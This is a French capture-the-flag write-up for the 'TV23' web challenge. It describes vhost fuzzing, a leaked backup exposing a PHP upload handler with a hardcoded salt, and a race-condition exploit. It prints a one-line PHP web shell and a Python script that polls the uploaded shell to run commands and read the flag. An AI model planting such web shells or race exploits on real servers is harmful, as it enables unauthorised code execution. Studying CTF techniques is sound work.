Énoncé
TV23 - 500 points
Auteur: SpawnZii
Solution
Note: J'ai rejoué ce chall en local après le CTF pour écrire le Write Up Merci à Spawnzii pour les sources !
En arrivant sur le challenge, on ne voit qu'une page de configuration par défaut apache. On check évidemment les fichiers classiques, robots.txt
, sitemap.xml
, .git
, .svn
. Rien, on peut alors regarder le code source de la page.
Et l'on aperçoit 2 commentaires:
<!-- spyproof.ru<div class="table_of_contents floating_element">
<div class="section_header section_header_grey">
TABLE OF CONTENTS
</div>
<div class="table_of_contents_item floating_element">
<a href="#about">About</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#changes">Changes</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#scope">Scope</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#files">Config files</a>
</div>
</div>
-->
<!-- don't forget to delete this comment russy23.ru -->
On obtient alors 2 noms de domaine ! On les ajoute à notre fichier /etc/hosts
127.0.0.1 russy23.ru spyproof.ru
Et l'on peut donc checker ces url.
spyproof.ru
ne nous donne rien de très probant.
En revanche, http://russy23.ru
nous offre une magnifique page
On peut voir un bouton upload
qui pourrait servir pour uploader un webshell par exemple ! Il redirige vers l'url http://russy23.ru/s3cr3te_Uplo4d.php
En uploadant un fichier vide on remarque cette erreur:
Warning: Undefined array key 1 in /var/www/russy23.ru/s3cr3te_Uplo4d.php on line 17
Warning: Undefined array key 1 in /var/www/russy23.ru/s3cr3te_Uplo4d.php on line 19
Warning: unlink(images/594d351db6352a598e351a3394dd59d1.): No such file or directory in /var/www/russy23.ru/s3cr3te_Uplo4d.php on line 19
On déduit donc plusieurs choses:
- Le fichier est hashé
- L'extension semble en dehors du hashage (erreur undefined key, on devine que le programme fait un split sur le '.'
- Le fichier est temporairement placé dans
/var/www/russy23.ru/images
et est donc accessible puis est supprimé, on pense donc à une race condition
Mais impossible de retrouver une préimage de ce hash.Il y a donc probablement un sel, peut être random.
Il nous faut donc la source de ce fichier php. J'ai donc fuzz les dossiers et fichiers pour trouver des backups, ou un .git par exemple, rien.
J'ai alors fuzz les vhost, à l'aide de l'outil wfuzz:
$ wfuzz -c -Z -w /usr/share/seclists/Discovery/Web-Content/common.txt --sc 200,202,204,301,302,307,403 -H "Host: FUZZ.russy23.ru" -u "http://russy23.ru" --hl 370
On obtient un résultat:
000000790: 200 15 L 50 W 769 Ch "backup"
On ajoute donc le hostname ``backup.russy23.ru``` à notre /etc/hosts, et on se dirige vers ce site web. Il contient le backup de /var/www du serveur. On va donc pouvoir le dézipper et lire le code de notre fichier d'upload.
<?php
if(isset($_FILES['image'])){
$errors= array();
$file_name = $_FILES['image']['name'];
$file_size = $_FILES['image']['size'];
$file_tmp = $_FILES['image']['tmp_name'];
$file_type = $_FILES['image']['type'];
$file_ext=strtolower(end(explode('.',$_FILES['image']['name'])));
if($file_size > 2097152) {
$errors ='File size must be excately 2 MB';
}
if(empty($errors)==true) {
$file_name = explode(".",$file_name);
$finalname = md5("5up3r53cur354l73".$file_name[0]);
move_uploaded_file($file_tmp,"images/".$finalname.".".$file_ext);
usleep(5000);
unlink("images/".$finalname.".".$file_ext);
$success = "Your picture will be sent !";
}
}
?>
On peut voir que le hash est bien salé avec le sel "5up3r53cur354l73". On voit également un usleep(5000)
, si l'on se réfère au manuel php, le script attend 5000 microsecondes avant de supprimer le fichier temporaire. Ce qui est suffisant pour l'utiliser à l'aide d'une race condition.
Le temps imparti en CTF étant assez court, j'ai écrit un (médiocre) script pour exploiter cette race condition.
Le principe est simple, on requête la même page constamment jusqu'à ce qu'on aie une réponse. Pendant ce temps là, j'uploadais un fichier shell.php à la main. Je n'ai pas réussi à obtenir un reverse shell. J'ai alors essayé de lire le flag directement.
Le fichier shell.php:
<?php
system($_GET["cmd"]);
?>
Le script python pour exploiter la race condition et directement lire le flag:
import requests
from hashlib import md5
filename = md5(b"5up3r53cur354l73" + b"shell").hexdigest()
url = "http://russy23.ru/images/" + filename + ".php"
while True:
r = requests.get(url + "?cmd=find / -name flag.txt | xargs cat")
if r.status_code == 200: # Si on a réussi à exploiter la race condition
print("Got flag !")
print(r.text)
break
On peut donc lancer ce script dans un terminal. Et l'on obtient le flag !
$ python race.py
Got flag !
MCTF{1cf35bf5d570cabbe4a7a222b1ad93937abf80b879132a30665479bc5c21ca92}
Merci à SpawnZii pour ce challenge très intéressant !